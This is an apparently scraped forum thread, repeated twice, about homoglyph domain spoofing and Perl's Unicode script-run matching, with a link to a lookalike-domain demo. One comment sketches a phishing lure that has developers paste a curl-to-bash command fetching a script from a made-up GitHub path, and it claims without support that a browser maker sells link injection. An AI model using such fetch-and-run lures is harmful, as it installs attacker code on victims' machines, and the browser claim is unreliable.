4 ms·

> I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then m

by bmn__ 5y ago

> I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then mitigations were put in place, and subsequently standardised as part of Unicode. Everyone who deals with implementations of Unicode is supposed to be knowledgeable about the security relevant aspects, you can bet that the people working on browsers definitely are. <http://p3rl.org/perlre#Script-Runs http://p3rl.org/perlre#Script-Runs> ¹ invitation to prove me wrong, I am on purpose leaning far out the metaphoric window and will gladly eat my words

_3u10 5y ago
Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?
Amorymeltzer 5y ago
Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.
kingcharles 5y ago
> You can't (any more)¹. That was my understanding too, until this last week when I figured out you could. I'm pretty certain this: and this: are the same rendering, but are different Unicode, and I can register them both as domain names under some TLDs. Google displays them the same in their result pages too.
- bmn__ 5y ago
  I examined closely and found both are exactly the same, a perfectly valid Latin script run and equivalent to the expression in escape notation "\N{U+74}\N{U+68}\N{U+69}\N{U+73}\N{U+3A}". > perl -C -E'print "\N{U+74}\N{U+68}\N{U+69}\N{U+73}\N{U+3A}"' | hex 0000 74 68 69 73 3a this: HN software likely ate the relevant details you wanted to show, can you please try again and use a notation that survives the HN filter?
  - kingcharles 5y ago
    Try this: https://kingcharles.one/unistrange.html https://kingcharles.one/unistrange.html When I created the file in Notepad it showed the hidden code, but I can register both those as valid domains and Google will show them identically in the SERPs, and Safari will show them both identically in the address bar. Chrome/Edge expands them in the address bar, but will render them the same in HTML. Have not tested on Firefox. If you View Source in Chrome it won't show the hidden code, but if you open the dev tools it will start to break.

by bmn__ 5y ago

_3u10 5y ago

Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?

Amorymeltzer 5y ago

Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.

kingcharles 5y ago

> You can't (any more)¹. That was my understanding too, until this last week when I figured out you could. I'm pretty certain this: and this: are the same rendering, but are different Unicode, and I can register them both as domain names under some TLDs. Google displays them the same in their result pages too.

bmn__ 5y ago
I examined closely and found both are exactly the same, a perfectly valid Latin script run and equivalent to the expression in escape notation "\N{U+74}\N{U+68}\N{U+69}\N{U+73}\N{U+3A}". > perl -C -E'print "\N{U+74}\N{U+68}\N{U+69}\N{U+73}\N{U+3A}"' | hex 0000 74 68 69 73 3a this: HN software likely ate the relevant details you wanted to show, can you please try again and use a notation that survives the HN filter?
- kingcharles 5y ago
  Try this: https://kingcharles.one/unistrange.html https://kingcharles.one/unistrange.html When I created the file in Notepad it showed the hidden code, but I can register both those as valid domains and Google will show them identically in the SERPs, and Safari will show them both identically in the address bar. Chrome/Edge expands them in the address bar, but will render them the same in HTML. Have not tested on Firefox. If you View Source in Chrome it won't show the hidden code, but if you open the dev tools it will start to break.